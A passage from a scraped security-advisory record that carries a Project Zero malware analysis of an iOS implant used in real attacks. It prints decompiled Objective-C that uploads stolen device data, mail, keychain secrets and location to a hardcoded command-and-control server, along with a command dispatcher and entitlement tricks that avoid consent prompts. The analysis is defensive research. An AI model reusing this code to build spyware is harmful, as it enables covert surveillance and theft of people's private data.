CTF.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizqtco_m_gVrhpOrkrIoB4UJXyrie3TwI7QI7x3EvKY7vyNCQozj60EQ08qryTePoHRIYPMVApvIlx-YC1DIuSIkEGbE8d_c2bwBd4eea0k4PtQyDSyBWXhCKFau1lTCOp9s5DBahkVSyDv0HsIFBNzrbukpsT6Fv6bVhaIuCp0a11LeRy0xfJpt4u/s200/image3.jpeg>) The only discussion on the security of Text Services I could find online was this snippet from the \u201c[New Features](<https://docs.microsoft.com/en-us/windows/desktop/TSF/new-features-in-tsf>)\u201d page:\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-08-13T00:00:00", "type": "googleprojectzero", "title": "\nDown the Rabbit-Hole...\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8646"], "modified": "2019-08-13T00:00:00", "id": "GOOGLEPROJECTZERO:B6FB33FF19AE0AD0E463FE10F35B3778", "href": "https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-07T02:00:21", "description": "# Posted by Ian Beer, Project Zero\n\n** \n** \n\n\nIn the earlier posts we examined how the attackers gained unsandboxed code execution as root on iPhones. At the end of each chain we saw the attackers calling posix_spawn, passing the path to their implant binary which they dropped in /tmp. This starts the implant running in the background as root. There is no visual indicator on the device that the implant is running. There's no way for a user on iOS to view a process listing, so the implant binary makes no attempt to hide its execution from the system. \n \nThe implant is primarily focused on stealing files and uploading live location data. The implant requests commands from a command and control server every 60 seconds. \n \nBefore diving into the code let's take a look at some sample data from a test phone running the implant and communicating with a custom command and control server I developed. To be clear, I created this test specifically for the purposes of demonstrating what the implant enabled the attacker to do and the screenshots are from my device. The device here is an iPhone 8 running iOS 12. \n \nThe implant has access to all the database files (on the victim\u2019s phone) used by popular end-to-end encryption apps like Whatsapp, Telegram and iMessage. We can see here screenshots of the apps on the left, and on the right the contents of the database files stolen by the implant which contain the unencrypted, plain-text of the messages sent and received using the apps:\n\n### Whatsapp\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzq9CeX-5P0bHOdH1KVXVK61tcQyVmr7TFuUnnIs2yn_nSZ52NyLzgRNxh0Ip-mNMOpGH31bFPAdL80GXFmcqyi_L7deXi3SJdRyZ8reCrtguVSptOvohgfhZ63SEL_D4usmJcGWFA8Kf5a-USNKthLnYbEWgmtXJQdwx9xFG87wjKbBdq_ASgjklB/s2048/whatsapp%20E2E.png>)\n\n### Telegram\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrNXXLaz4hkML8pSPN1h75QO_P9afijQQMl9uwNrjBanQaa0uU0VqcG_gHNrcqB2VzCziT3o5aVQ3AWJPyp4M6SxmBTc7DRYohNAkZjhTajrfJjhnlFkMorBRJHY91P9VFsqNkPrq5tUxStvPsLTZ6CZk-fOR8eipRxf29oq8M6ICh0OkQH4cStw_c/s2048/telegram%20E2E.png>)\n\n### iMessage\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlK3CVk_pax5kTW7g9d6eOAKA-BMmA4kzov4pllCv0gytMsogKEA6XZIXLwEMn7DCMJhTEFteAMskyUFpclnSuY0HPntpSC4C4DvSgXOSNBlldDwkmv3Zrw1sZq86tYn-g8vkmo_ckL9bhi0rij7hjpav3w7yGNz2BDf0dP-QrDsel8yA-SHWrTr8y/s2048/imessage%20E2E.png>) Hangouts \n\n\nHere's a conversation in Google Hangouts for iOS and the corresponding database file uploaded by the implant. With some basic SQL we can easily see the plain text of the messages, and even the URL of the images shared. [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Wcs2Tke-XWtDEU2ui24jFBGuuAZA6atNLfXJy0jx4u6S9Oq-5yHxFyyeRuWtpO-s4Rimwxoor8nuWF25EQmXfhVXrK7kWJJ2ejubUDdCPzVBG0yWaszyodL7hMZW4gtONjz2Vt5HqRbPd7QGDYFU71beGAcZTvttdhSysdYBHrYQypw9Wv5wIllj/s2048/hangouts%20-%20implant%20demo.png>) The implant can upload private files used by all apps on the device; here's an example of the plaintext contents of emails sent via Gmail, which are uploaded to the attacker's server:\n\n### Gmail\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZL4aCTSDNNbHn-DAVQnLnGhl9cuNLj6jYaxZ8r-hTkwN3giYRk19oe-STXtMzASbznFseMSp4vGRdDn1m5IT_USLBeHkNswGyzpUqVwL7OSS0HJ-pHennqcQD7JDhby74pTHeRGk58b8O_Ro6xtD6xhRMeZe2S4-y7fc4qosJ3EzWK_tOm_kM2y6N/s2048/gmail%20-%20implant%20demo.png>) Contacts \nThe implant also takes copies of the user's complete contacts database: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXt37UmjjgtLht7LQVklgXGvBjHmg2-DmbKoh0jY0HU71YYcFq4oKh6F9th_MS-9jRQ67jVVT5_bwaOhWlfHih63KGR9a8T78_vCbfCAww0R6SH882Bd_zNWXXvSAR87s2efvYGZUVTs1284omqg389E547YJ98VbKYTWk4b0n9U5oFJMdonQc3Tu7/s2048/implant%20-%20contacts.png>) Photos \nAnd takes copies of all their photos: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinRxrvMsaOHp8iw3B9QGk1V1_srs_fLKVdv8bGBuX8OMwn3pGN7vrEhDVm2fFA6ys9eN9wjJpHNV9hbrT0Koom4ZGAFDpDBPJVrbV-WTTCXpSenSVDonIwPQGz4UkZlWRURjvYv_GUqEEc_96KjMb8T-f4QhH3zTHuK59oEsKxrLNykN8_6xcwHmWS/s2048/implant%20-%20photos.png>) Real-time GPS tracking \nThe implant can also upload the user's location in real time, up to once per minute, if the device is online. Here's a real sample of live location data collected by the implant when I took a trip to Amsterdam with the implant running on a phone in my pocket: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd9RJDY_UPb4xAJPYkY6PLG2Q_izhhj6DCkDwoN2ykCKPTI1U8AzcjYBWRp3Ji5XTVF9ZPDIYkXCzrkBTgKosaXVy4peAxAGKLYLxzCRNAfwyA2J_SWEQ9OME0UAhltL0Mcqddeq_MgLyK4ehy1-KLQIp1BleBMQ0ebNhFehVHXVnaBT0-Qi8cu_Y0/s2048/implant%20GPS%20trace.png>) The implant uploads the device's keychain, which contains a huge number of credentials and certificates used on and by the device. For example, the SSIDs and passwords for all saved wifi access points: \n** \n** \n\n\n<dict>\n\n<key>UUID</key>\n\n<string>3A9861A1-108E-4B3A-AAEC-C8C9DC79878E</string>\n\n<key>acct</key>\n\n<string>RandomHotelWifiNetwork</string>\n\n<key>agrp</key>\n\n<string>apple</string>\n\n<key>cdat</key>\n\n<date>2019-08-28T08:47:33Z</date>\n\n<key>class</key>\n\n<string>genp</string>\n\n<key>mdat</key>\n\n<date>2019-08-28T08:47:33Z</date>\n\n<key>musr</key>\n\n<data>\n\n</data>\n\n<key>pdmn</key>\n\n<string>ck</string>\n\n<key>persistref</key>\n\n<data>\n\n</data>\n\n<key>sha1</key>\n\n<data>\n\n1FcMkQWZGn3Iol70BW6hkbxQ2rQ=\n\n</data>\n\n<key>svce</key>\n\n<string>AirPort</string>\n\n<key>sync</key>\n\n<integer>0</integer>\n\n<key>tomb</key>\n\n<integer>0</integer>\n\n<key>v_Data</key>\n\n<data>\n\nYWJjZDEyMzQ=\n\n</data>\n\n</dict>\n\n \nThe v_Data field is the plain-text password, stored as base64: \n \n \n\n\n$ echo YWJjZDEyMzQ= | base64 -D\n\nabcd1234\n\n \nThe keychain also contains the long-lived tokens used by services such as Google's iOS Single-Sign-On to enable Google apps to access the user's account. These will be uploaded to the attackers and can then be used to maintain access to the user's Google account, even once the implant is no longer running. Here's an example using the Google OAuth token stored as com.google.sso.optional.1.accessToken in the keychain being used to log in to the Gmail web interface on a separate machine: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgepCFI5OePriK-y3GoPE5iiWcmGVl-MK8Jx70cVwVYxT7joKvNwEWsKnKu4QLMZs7on7uwqUNGtL3DfZHSaVIYz7lxycnoOwjrVCL2ICLOV51ulPQQ3s1KRbuHkdPQgkX0xfxTe-QE-SCtsgB5VN_mlN2wptx7ClGszvouIDw6ZjbMeddGjUtXWSsr/s3403/reuse%20OAuth%20token%20in%20gmail.png>) [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmBAIIiHV2XsNV5jQ26SyTnkIcwCQnrSa1TCl6PQyZVQnwR8S9p7dkarrT02ylflkZ3Ung-8aOX2AOZ4UHBOKsmzczz05uK70hVFTROlHovRLTVigZQqZk34CD2r9A0QDuSFThL_6WxNf7p8whK64WsXTul4RWmu5-qrBGrpx60fp4j1uJBZ-WNIRY/s1191/gmail_signed_in.png>) Analysis \n\n\nThe implant is embedded in the privilege escalation Mach-O file in the __DATA:__file section. \n \nFrom our analysis of the exploits, we know that the fake kernel task port (which gives kernel memory read and write) is always destroyed at the end of the kernel exploit. The implant runs completely in userspace, albeit unsandboxed and as root with entitlements chosen by the attacker to ensure they can still access all the private data they are interested in. \n \nUsing [jtool](<http://www.newosxbook.com/tools/jtool.html>) we can view the entitlements the implant has. Remember, the attackers have complete control over these as they used the kernel exploit to add the hash of the implant binary's code signature to the kernel trust cache. \n \n\n\n$ jtool --ent implant\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n\n<plist version=\"1.0\">\n\n<dict>\n\n<key>keychain-access-groups</key>\n\n<array>\n\n<string>*</string>\n\n</array>\n\n<key>application-identifier</key>\n\n<string>$(AppIdentifierPrefix)$(CFBundleIdentifier)</string>\n\n<key>com.apple.locationd.preauthorized</key>\n\n<true/>\n\n<key>com.apple.coretelephony.Identity.get</key>\n\n<true/>\n\n</dict>\n\n</plist>\n\n \nMany system services on iOS will try to check the entitlements of clients talking to them, and only allow clients with particular entitlements to perform certain actions. This is why, even though the implant is running as root and unsandboxed, it still requires a valid entitlements blob. They're assigning themselves three relevant entitlements: \n \n[keychain-access-groups](<https://developer.apple.com/documentation/bundleresources/entitlements/keychain-access-groups?language=objc>) is used to restrict access to secrets stored in the keychain; they've given themselves a wildcard value here. \n \n[com.apple.locationd.preauthorized](<https://stackoverflow.com/questions/25608339/get-iphone-location-in-ios-without-preference-location-services-set-to-on>) enables the use of CoreLocation without explicit user consent, as long as Location Services is enabled. \n \n[com.apple.coretelephony.Identity.get](<http://iphonedevwiki.net/index.php/CoreTelephony.framework>) allows retrieval of the device's phone number. \n\n\n## Reversing\n\nThe binary is compiled without optimizations and written in Objective-C. The code snippets here are mostly manually decompiled with a bit of help from [hex-rays](<https://www.hex-rays.com/>).\n\n### Structure\n\nThe implant consists of two Objective-C classes: Service and Util and a variety of helper functions. \n \nThe implant starts by creating an instance of the Service class and calling the start selector before getting a handle to the current [runloop](<https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Multithreading/RunLoopManagement/RunLoopManagement.html>) and running it. \n \n\n\n-[Service start] {\n\n[self startTimer];\n\n[self upload];\n\n}\n\n \n[Service startTimer] will ensure that the Service instance's timerHandle method is invoked every 60 seconds: \n \n \n\n\n// call timer_handle every 60 seconds\n\n-[Service startTimer] {\n\ntimer = [NSTimer scheduledTimerWithTimeInterval:60.0\n\ntarget:self\n\nselector:SEL(timer_handle)\n\nuserInfo:NULL\n\nrepeats:1]\n\nold_timer = self->_timer;\n\nself->_timer = timer;\n\n[old_timer release]\n\n}\n\n \ntimer_handle is the main function responsible for handling the command and control communication. Before the device goes in to the timer_handle loop however it first does an initial upload: \n \n \n\n\n-[Service upload] {\n\n[self uploadDevice];\n\n[self requestLocation];\n\n[self requestContacts];\n\n[self requestCallHistory];\n\n[self requestMessage];\n\n[self requestNotes];\n\n[self requestApps];\n\n[self requestKeychain];\n\n[self requestRecordings];\n\n[self requestSmsAttachments];\n\n[self requestSystemMail];\n\nif (!self->_defaultList) {\n\nself->_defaultList = [Util appPriorLists];\n\n}\n\n \n\n\n[self requestPriorAppData:self->_defaultList];\n\n[self requestPhotoData];\n\n...\n\n}\n\n \nThis performs an initial bulk upload of data from the device. Let's take a look at how these are implemented: \n \n \n\n\n-[Service uploadDevice] {\n\nNSLog(@\"uploadDevice\");\n\ninfo = [Util dictOfDeviceInfo];\n\nwhile( [self postFiles:info remove:1] == 0) {\n\n[NSThread sleepForTimeInterval:10.0];\n\ninfo = [Util dictOfDeviceInfo];\n\n}\n\n}\n\n \nNote the call to NSLog is really there in the production implant. If you connect the iPhone via a lightning cable to a Mac and open Console.app you can see these log messages as the implant runs. \n \n \n\n\nHere's [Util dictOfDeviceInfo]: \n \n\n\n+[Util dictOfDeviceInfo] {\n\nstruct utsname name = {};\n\nuname(&name);\n\nmachine_str = [NSString stringWithCString:name.machine\n\nencoding:NSUTF8StringEncoding]\n\n \n\n\n// CoreTelephony private API\n\ndevice_phone_number = CTSettingCopyMyPhoneNumber();\n\nif (!device_phone_number) {\n\ndevice_phone_number = @\"\";\n\n}\n\n \n\n\nnet_str = @\"Cellular\"\n\nif ([self isWifi]) {\n\nnet_str = @\"Wifi\";\n\n}\n\n \n\n\ndict = @{@\"name\": [[UIDevice currentDevice] name],\n\n@\"iccid\": [self ICCID],\n\n@\"imei\": [self IMEI],\n\n@\"SerialNumber\": [self SerialNumber],\n\n@\"PhoneNumber\": device_phone_number,\n\n@\"version\": [[UIDevice currentDevice] systemVersion]],\n\n@\"totaldisk\": [NSNumber numberWithFloat:\n\n[[self getTotalDiskSpace] stringValue]],\n\n@\"freedisk\": [NSNumber numberWithFloat:\n\n[[self getFreeDiskSpace] stringValue]],\n\n@\"platform\": machine_str,\n\n@\"net\": net_str}\n\n \n\n\npath = [@\"/tmp\" stringByAppendingPathComponent:[NSUUID UUIDString]];\n\n \n\n\n[dict writeToFile:path atomically:1]\n\nreturn @{@\"device.plist\": path}\n\n}\n\n \nHere's the output which gets sent to the server when the implant is run on one of my test devices: \n \n \n\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n\n<plist version=\"1.0\">\n\n<dict>\n\n<key>PhoneNumber</key>\n\n<string>+447848473659</string>\n\n<key>SerialNumber</key>\n\n<string>F4GW60LKJC68</string>\n\n<key>freedisk</key>\n\n<string>48.63801</string>\n\n<key>iccid</key>\n\n<string>8944200115179096289</string>\n\n<key>imei</key>\n\n<string>352990092967294</string>\n\n<key>name</key>\n\n<string>Ian Beer\u2019s iPhone</string>\n\n<key>net</key>\n\n<string>Wifi</string>\n\n<key>platform</key>\n\n<string>iPhone10,4</string>\n\n<key>totaldisk</key>\n\n<string>59.59484</string>\n\n<key>version</key>\n\n<string>12.1.2</string>\n\n</dict>\n\n</plist>\n\n \nThis method collects a myriad of identifiers from the device: \n\n\n * the iPhone model\n\n * the iPhone name (\"Ian's iPhone\")\n\n * the [ICCID](<https://en.wikipedia.org/wiki/SIM_card#ICCID>) of the SIM card, which uniquely identifies the SIM\n\n * the iPhone serial number\n\n * the current phone number\n\n * the iOS version\n\n * total and free disk space\n\n * the currently active network interface (wifi or cellular)\n\n** \n** \n\n\nThey build an Objective-C dictionary object containing all this information then use the [NSUUID](<https://developer.apple.com/documentation/foundation/nsuuid?language=objc>) class to generate a pseudo-random, unique string. They use that string to create a new file under /tmp, for example /tmp/68753A44-4D6F-1226-9C60-0050E4C00067. They serialize the dictionary object as XML to that file and return a dictionary @{@\"device.plist\": path} mapping the name \"device.plist\" to that path in /tmp. This rather odd design pattern of serializing everything to files in /tmp is used throughout the implant. \n \nLet's take a look at how that file will get off the device and up to the attacker's server. \n \n[Service uploadDevice] passes the returned @{@\"device.plist\": path} dictionary to [Service postFiles]: \n \n\n\n[self postFiles:info remove:1]\n\n** \n** \n\n\n-[Service postFiles:files remove:] {\n\nif([[files allKeys] count] == 0) {\n\nreturn;\n\n}\n\n \n\n\nsem = dispatch_semaphore_create(0.0)\n\n \n\n\nbase_url_str = [\n\n[@\"http://X.X.X.X\" stringByTrimmingCharactersInSet:\n\n[NSCharacterSet whitespaceAndNewlineCharacterSet]]]\n\nfull_url_str = [base_url_str stringByAppendingString:@\"/upload/info\"]\n\n \n\n\nurl = [NSURL URLWithString:full_url_string]\n\n \n\n\nreq = [NSMutableURLRequest requestWithURL:url]\n\n[req setHTTPMethod:@\"POST\"]\n\n[req setTimeoutInterval:120.0]\n\n \n\n\ncontent_type_str = [NSString stringWithFormat:\n\n\"multipart/form-data; charset=utf-8;boundary=%@\", @\"9ff7172192b7\"];\n\n[req setValue:content_type_str forHTTPHeaderField:@\"Content-Type\"]\n\n \n\n\n// this is set in [Service init], it's SerialNumber\n\n// from [Util SerialNumber]\n\nparams_dict = @{@\"sn\": self->_sn}\n\nbody_data = [self buildBodyDataWithParams:params_dict AndFiles:files]\n\n \n\n\nsession = [NSURLSession sharedSession]\n\nNSURLSessionUploadTask* task = [session uploadTaskWithRequest:req\n\nfromData:body_data\n\ncompletionHandler:\n\n^(NSData *data, NSURLResponse *response, NSError *error){\n\n \n\n\nif (error) {\n\nNSLog(@\"postFile %@ Error: %@\", _, _)\n\n} else {\n\nNSLog(@\"postFile success %@\");\n\n}\n\n \n\n\nif (remove) {\n\n// use NSFileManager to remove all the files\n\n}\n\n \n\n\ndispatch_semaphore_signal(sem)\n\n \n\n\n}]\n\n \n\n\n[task resume];\n\n \n\n\ndispatch_semaphore_wait(sem, -1);\n\n \nThe IP address of the server to upload content to is hardcoded in the implant binary. This function uses that address to make an HTTP POST request, passing the contents of the files provided in the files argument as a multipart/form-data payload (with the hardcoded boundary string \"9ff7172192b7\" delimiting the fields in the body data.) \n \nLet's take a quick look at buildBodyDataWithParams: \n \n \n\n\n[-Service buildBodyDataWithParams:params AndFiles:files] {\n\ndata = [NSMutableData data]\n\nfor (key in params) {\n\nstr = [NSMutableString string]\n\n// the boundary string\n\n[str appendFormat:@\"--%@\\r\\n\", \"9ff7172192b7\"] ;\n\n[str appendFormat:\n\n@\"Content-Disposition: form-data; name=\\\"%@\\\"\\r\\n\\r\\n\", key];\n\n \n\n\nval = [params objectForKeyedSubscript:key];\n\n[str appendFormat:@\"%@\\r\\n\", val];\n\n \n\n\nencoded = [str dataUsingEncoding:NSUTF8StringEncoding];\n\n[data appendData:encoded]\n\n}\n\n \n\n\nfor (file in files) {\n\nstr = [NSMutableString string];\n\n// the boundary string\n\n[str appendFormat:@\"--%@\\r\\n\", \"9ff7172192b7\"] ;\n\n[str appendFormat:\n\n@\"Content-disposition: form-data; name=\\\"%@\\\"; filename=\\\"%@\\\"\\r\\n\",\n\nfile, file];\n\n[str appendFormat:@\"Content-Type: application/octet-stream\\r\\n\\r\\n\"];\n\n \n\n\nencoded = [str dataUsingEncoding:NSUTF8StringEncoding];\n\n[data appendData:encoded];\n\n \n\n\nfile_path = [files objectForKeyedSubscript:file];\n\nfile_data = [NSData dataWithContentsOfFile:file_path];\n\n[data appendData:file_data];\n\n \n\n\nnewline_encoded = [@\"\\r\\n\" dataUsingEncoding:NSUTF8StringEncoding];\n\n[data appendData newline_encoded] ; \n\n}\n\n \n\n\nfinal_str = [NSString stringWithFormat:@\"--%@--\\r\\n\", @\"9ff7172192b7\"];\n\nfinal_encoded = [final_str dataUsingEncoding:NSUTF8StringEncoding];\n\n[data appendData:final_encoded];\n\n \n\n\nreturn data\n\n}\n\n \nThis is just building a typical HTTP POST request body, embedding the contents of each file as form data. \n \nThere's something thus far which is conspicuous only by its absence: is any of this encrypted? The short answer is no: they really do POST everything via HTTP (not HTTPS) and there is no asymmetric (or even symmetric) encryption applied to the data which is uploaded. Everything is in the clear. If you're connected to an unencrypted WiFi network this information is being broadcast to everyone around you, to your network operator and any intermediate network hops to the command and control server. \n \nThis means that not only is the end-point of the end-to-end encryption offered by messaging apps compromised; the attackers then send all the contents of the end-to-end encrypted messages in plain text over the network to their server. \n\n\n### The command loop\n\nOn initial run (immediately after the iPhone has been exploited) the implant performs around a dozen bulk uploads in a similar fashion before going to sleep and being woken up by the operating system every 60 seconds. Let's look at what happens then: \n \nNSTimer will ensure that the [Service timer_handle] method is called every 60 seconds: \n \n\n\n-[Service timer_handle] {\n\nNSLog(@\"timer trig\")\n\n[self status];\n\n[self cmds];\n\n}\n\n \n[Service status] uses the [SystemConfiguration](<https://developer.apple.com/documentation/systemconfiguration?language=objc>) framework to determine whether the device is currently connected via WiFi or mobile data network. \n \n[Service cmds] calls [Service remotelist]: \n \n \n\n\n-[Service cmds] {\n\nNSLog(@\"cmds\");\n\n[self remotelist];\n\nNSLog(@\"finally\");\n\n}\n\n** \n** \n\n\n-[Service remotelist] {\n\nws_nl = [NSCharacterSet whitespaceAndNewlineCharacterSet];\n\nurl_str = [remote_url_long stringByTrimmingCharacterInSet:ws_nl];\n\n \n\n\nNSMutableURLRequestRef url_req = [NSMutableURLRequest alloc];\n\n \n\n\nfull_url_str = [url_str stringByAppendingString:@\"/list\"];\n\nNSURLRef url = [NSURL URLWithString:full_url_str];\n\n \n\n\n[url_req initWithURL:url];\n\n \n\n\nif (self->_cookies) {\n\n[url_req addValue:self->_cookies forHeader:@\"Cookie\"];\n\n}\n\n \n\n\nNSURLResponse* resp;\n\nNSData* data = [NSURLConnection sendSynchronousRequest:url_req\n\nreturningResponse:&resp\n\nerror:0];\n\n \n\n\ncookie = [self getCookieFromHttpresponse:resp];\n\nif ([cookie length] != 0) {\n\nself->_cookie = cookie;\n\n}\n\n \n\n\nNSLog(@\"Json data %@\", [NSString initWithData:data\n\nencoding:NSUTF8StringEncoding]);\n\n \n\n\nerr = 0;\n\njson = [NSJSONSerialization JSONObjectWithData:data\n\noptions:0\n\nerror:&err];\n\n \n\n\ndata_obj = [json objectForKey:@\"data\"];\n\n \n\n\nNSLog(@\"data Result: %@\", data_obj);\n\n \n\n\ncmds_obj = [data_obj objectForKey:@\"cmds\"];\n\n \n\n\nNSLog(@\"cmds: %@\", cmds_obj);\n\n \n\n\nfor (cmd in cmds_obj) {\n\n[self doCommand:cmd];\n\n}\n\n}\n\n \nThis method makes an HTTP request to the /list endpoint on the command and control server and expects to receive a JSON-encoded object in the response. It parses that object using the system JSON library ([NSJSONSerialization](<https://developer.apple.com/documentation/foundation/nsjsonserialization>)), expecting the JSON to be in the following form: \n \n \n\n\n{ \"data\" : \n\n{ \"cmds\" :\n\n[\n\n{\"cmd\" : <COMMAND_STRING>\n\n\"data\" : <OPTIONAL_DATA_STRING>\n\n}, ...\n\n]\n\n}\n\n}\n\n \nEach of the enclosed commands are passed in turn to [Service doCommand]: \n \n \n\n\n-[Service doCommand:cmd_dict] {\n\ncmd_str_raw = [cmd_dict objectForKeyedSubscript:@\"cmd\"]\n\n \n\n\ncmd_str = [cmd_str_raw stringByTrimmingCharactersInSet:\n\n[NSCharacterSet whitespaceAndNewlineCharacterSet]];\n\n \n\n\nif ([cmd_str isEqualToString:@\"systemmail\"]) {\n\n[self requestSystemMail];\n\n} else if([cmd_str isEqualToString:@\"device\"]) {\n\n[self uploadDevice];\n\n} else if([cmd_str isEqualToString:@\"locate\"]) {\n\n[self requestLocation];\n\n} else if([cmd_str isEqualToString:@\"contact\"]) {\n\n[self requestContact];\n\n} else if([cmd_str isEqualToString:@\"callhistory\"]) {\n\n[self requestCallHistory];\n\n} else if([cmd_str isEqualToString:@\"message\"]) {\n\n[self requestMessage];\n\n} else if([cmd_str isEqualToString:@\"notes\"]) {\n\n[self requestNotes];\n\n} else if([cmd_str isEqualToString:@\"applist\"]) {\n\n[self requestApps];\n\n} else if([cmd_str isEqualToString:@\"keychain\"]) {\n\n[self requestKeychain];\n\n} else if([cmd_str isEqualToString:@\"recordings\"]) {\n\n[self requestRecordings];\n\n} else if([cmd_str isEqualToString:@\"msgattach\"]) {\n\n[self requestSmsAttachments];\n\n} else if([cmd_str isEqualToString:@\"priorapps\"]) {\n\nif (!self->_defaultList) {\n\nself->_defaultList = [Util appPriorLists]\n\n}\n\n[self requestPriorAppData:self->_defaultList]\n\n} else if([cmd_str isEqualToString:@\"photo\"]) {\n\n[self uploadPhoto];\n\n} else if([cmd_str isEqualToString:@\"allapp\"]) {\n\ndispatch_async(_dispatch_main_q, ^(app)\n\n{\n\n[self requestAllAppData:app]\n\n});\n\n} else if([cmd_str isEqualToString:@\"app\"]) {\n\n// parameter should be an array of bundle ids\n\ndata = [cmd_dict objectForKey:@\"data\"]\n\nif ([data count] != 0) {\n\n[self requestPriorAppData:data]\n\n}\n\n} else if([cmd_str isEqualToString:@\"dl\"]) {\n\n[@\"/tmp/evd.\" stringByAppendingString:[[[NSUUID UUID] UUIDString] substringToIndex: 4]]\n\n// it doesn't actually seem to do anything here\n\n} else if([cmd_str isEqualToString:@\"shot\"]) {\n\n// nop\n\n} else if([cmd_str isEqualToString:@\"live\"]) {\n\n// nop\n\n}\n\n \n\n\ncs = [NSCharacterSet whitespaceAndNewlineCharacterSet];\n\nserver = [@\"http://X.X.X.X:1234\" stringByTrimmingCharactersInSet:cs];\n\nfull_url_str = [server stringByAppendingString:@\"/list/suc?name=\"];\n\nurl = [NSURL URLWithString:[full_url_str stringByAppendingString:cmd_str]];\n\nNSLog(@\"s_url: %@\", url)\n\n \n\n\nreq = [[NSMutableURLRequest alloc] initWithURL:url];\n\nif (self->_cookies) {\n\n[req addValue:self->_cookies forHTTPHeaderField:@\"Cookie\"];\n\n}\n\n \n\n\nid resp;\n\n[NSURLConnection sendSynchronousRequest:req\n\nreturningResponse: &resp\n\nerror: nil];\n\n \n\n\nresp_cookie = [self getCookieFromHttpresponse:resp]\n\nif ([resp_cookie length] == 0) {\n\nself->_cookie = nil;\n\n} else {\n\nself->_cookie = resp_cookie;\n\n}\n\n \n\n\nNSLog(@\"cookies: %@\", self->_cookie)\n\n}\n\n \nThis method takes a dictionary with a command and an optional data argument. Here's a list of the supported commands: \n \n\n\nsystemmail : upload email from the default Mail.app\n\ndevice : upload device identifiers\n\n(IMEI, phone number, serial number etc)\n\nlocate : upload location from CoreLocation\n\ncontact : upload contacts database\n\ncallhistory : upload phone call history \n\nmessage : upload iMessage/SMSes\n\nnotes : upload notes made in Notes.app\n\napplist : upload a list of installed non-Apple apps\n\nkeychain : upload passwords and certificates stored in the keychain\n\nrecordings : upload voice memos made using the built-in voice memos app\n\nmsgattach : upload SMS and iMessage attachments\n\npriorapps : upload app-container directories from hardcoded list of\n\nthird-party apps if installed (appPriorLists)\n\nphoto : upload photos from the camera roll\n\nallapp : upload container directories of all apps\n\napp : upload container directories of particular apps by bundle ID\n\ndl : unimplemented\n\nshot : unimplemented\n\nlive : unimplemented\n\n \nEach command is responsible for uploading its results to the server. After each command is complete a GET request is made to the /list/suc?name=X endpoint, where X is the name of the command which completed. A cookie containing the device serial number is sent along with the GET request. \n \nThe majority of these commands work by creating tar archives of fixed lists of directories based on the desired information and the version of iOS which is running. Here, for example, is the implementation of the systemmail command: \n \n\n\n-[Service requestSystemMail] {\n\nNSLog(@\"requestSystemMail\")\n\nmaildir = [Util dirOfSystemMail]\n\nif ([maildir length] != 0) {\n\n[Util tarWithSplit:maildir\n\nname:@\"systemmail\"\n\nblock:^(id files) // dictionary {filename:filepath} \n\n{\n\nwhile ([self postFiles:files] == 0) {\n\n[NSThread sleepForTimeInterval:10.0]\n\n}\n\n}\n\n]\n\n}\n\n}\n\n \n\n\n+[Util dirOfSystemMail] {\n\nreturn @\"/private/var/mobile/Library/Mail\";\n\n}\n\n \nThis uses the [Util tarWithSplit] method to archive the contents of the /private/var/mobile/Library/Mail folder, which contains the contents of all locally-stored email sent and received with the built-in Apple Mail.app. \n \nHere's another example of a command, locate, which uses CoreLocation to request a geolocation fix for the device. Because the implant has the com.apple.locationd.preauthorized entitlement set to true this will not prompt the user for permission to access their location. \n \n \n\n\n-[Service requestLocation] {\n\nNSLog(@\"requestLocation\");\n\nself->_locating = 1;\n\n \n\n\nif (!self->_lm) {\n\nlm = [[CLLocationManager alloc] init];\n\n[self->_lm release];\n\nself->_lm = lm;\n\n// the delegate's locationManager:didUpdateLocations: selector\n\n// will be called when location information is available\n\n[self->_lm setDelegate:self];\n\n[self->_lm setDesiredAccuracy:kCLLocationAccuracyBest];\n\n}\n\n \n\n\n[self->lm startUpdatingLocation];\n\n}\n\n \n\n\n-[Service locationManager:manager didUpdateLocations:locations] {\n\n[self stopUpdatingLocation];\n\nloc = [locations lastObject];\n\nif (self->_locating) {\n\nstruct CLLocationCoordinate2D coord = [loc coordinate];\n\ndict = @{@\"lat\" : 